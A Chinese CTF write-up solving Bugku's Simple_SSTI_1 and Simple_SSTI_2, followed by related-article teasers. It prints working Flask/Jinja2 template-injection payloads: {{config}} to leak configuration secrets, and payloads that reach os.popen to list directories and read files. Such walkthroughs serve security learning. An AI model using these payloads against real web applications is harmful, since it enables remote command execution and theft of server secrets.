Simple_SSTI_1与Simple_SSTI_2

article/2025/10/10 4:44:59

目录

一,Simple_SSTI_1

二,Simple_SSTI_2


一,Simple_SSTI_1

首先打开场景:

 然后F12查看一下源码:

 于是通过百度相关知识寻找线索:

1,SSTI :服务器端模版注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。

2,flask框架:flask是一个使用Python编写的轻量级Web应用框架(一种开发框架,用来支持动态网站,网络应用程序及网络服务的开发。其类型有基于请求和基于组件的两种框架)

3,SECRET_KEY配置变量是通用密钥,可在Flask和多个第三方扩展中使用,加密的强度取决于变量值的机密度,不同的程序使用不同的密钥。

构造URL,为flag赋值(目的是测试出用的是哪一种框架,然后采用对应的正确的测试语句具体见下一篇《模板注入(测试用例)》

 

正常传出,再次尝试?flag={{config}}。即可发现显示出flag。

二,Simple_SSTI_2

       首先f12查看源码,发现没有提示信息。

       通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件(读取网站系统目录),发现如下的文件夹:

{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

     

 于是猜测flag是否藏在某一个文件夹中,于是尝试用ls列举出文件夹中的文件一下。

{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}

 查看app文件,结果第一个就是

用cat打开这个文件浏览

{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

 补充内容:

##_class_:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类

##__init__             初始化类,返回的类型是function

##__globals__[]          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

##os.popen()       方法用于从一个命令打开一个管道。

##open() 方法用于打开一个文件,并返回文件对象

参考博文:

https://blog.csdn.net/m0_54082441/article/details/124525728?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-124525728.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187icon-default.png?t=M85Bhttps://blog.csdn.net/m0_54082441/article/details/124525728?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-124525728.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187https://blog.csdn.net/qq_52718293/article/details/120893543?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-120893543.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187icon-default.png?t=M85Bhttps://blog.csdn.net/qq_52718293/article/details/120893543?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-120893543.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187      https://blog.csdn.net/qq_37865996/article/details/102365374icon-default.png?t=M85Bhttps://blog.csdn.net/qq_37865996/article/details/102365374


http://chatgpt.dhexx.cn/article/hKAZ23qu.shtml

相关文章

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结:SSTI的理解:SSTI引发的真正原因:render_template渲染函数是什么:render_template:注入的思想:playload 娓娓道来:魔术对象:用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么? 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入(Server-Side Template Injection) ​ 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结(转载)5、常见过滤器(转载) 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日,科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0,成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架,集成通用的科学数据处理组件和存算环境的一体化管理与调度,各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语,多指庞大而复杂的数据集等,他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源:公开的信息等,如杂志,报纸,文章。大数据生成的其他例子包括购买交易记录&#xf…

2020十大最佳大数据分析工具

作者:Sunita Chauhan 转自:InfoQ https://www.infoq.cn/article/IEIa8zX2s0KpLYi34ocE 营销的基本原理是一致的,每个人都喜欢洞察力,因为这些数字模式可以提供最安全的方法来确保企业采取正确的行动,更有效地运作&…

【数据分析】33个热门数据分析软件,你都用过哪些?

最近有一位小伙伴问我,做数据岗该学习哪些软件,我想了想扔给他33个软件 数据分析工具类软件,大体可以分为以下5类: Excel生态工具、数理统计工具、BI工具、数据库工具、编程工具 (Excel单独分成一类,主要是…

python数据分析用什么软件

Python是数据处理常用工具,可以处理数量级从几K至几T不等的数据,具有较高的开发效率和可维护性,还具有较强的通用性和跨平台性,这里就为大家分享几个不错的数据分析工具。 Python数据分析需要安装的第三方扩展库有:Num…

4大热门数据分析软件怎么选?看这篇就够了

有时候我们发现,技术和工具并不是核心要素,基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品,也是胜在对数据的理解和治理的方法论上,赋以相应的工具,让能力加特。 机器学习、人工智…

盘点2021年10个顶级数据分析软件,及优缺点对比

1、Tableau公司 关键见解:即使在市场领导者中,Tableau公司也是数据分析软件市场上的顶级供应商。该公司于2019年被Salesforce公司收购。 该公司的数据分析平台以收集多个数据输入而闻名,允许用户将它们组合在一起,然后提供仪表板…

分析数据的软件有哪些?这几款数据分析软件不用会后悔

数据分析软件种类繁多,使用难度、场景、效率不一。日常的数据分析,Excel就能满足大部分需求,不过在数据量越来越大、维度越来越多、分析越来越复杂的今天,仅靠Excel解决也不现实,不过不用担心,市面上可分析…

六款超好用的大数据分析工具

一、大数据分析工具——Hadoop Hadoop是一个能够对大量数据进行分布式处理的软件框架。但是Hadoop是以一种可靠、高效、可伸缩的方式进行处理的。Hadoop是可靠的,因为它假设计算元素和存储会失败,因此它维护多个工作数据副本,确保能够针对失…

常见的数据分析工具有哪些?

众所周知,大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合。它的含义十分广泛,并庞大复杂,需要有专门设计的硬件和软件工具来进行数据处理和分析。下面给大家推荐几款常见好用的数据分析工具,以供参…

30款常用的大数据分析工具推荐(最新)

数据挖掘和数据分析的能力在当今时代相当重要, 智能的工具是你与竞争对手对抗并为公司业务增加优势的必备条件。我列出了30个最热门的大数据工具,供大家参考。 Part 1:数据采集工具 Part 2:开源数据工具 Part 3:数据可视化 Part 4:情感分析 Part 5:开…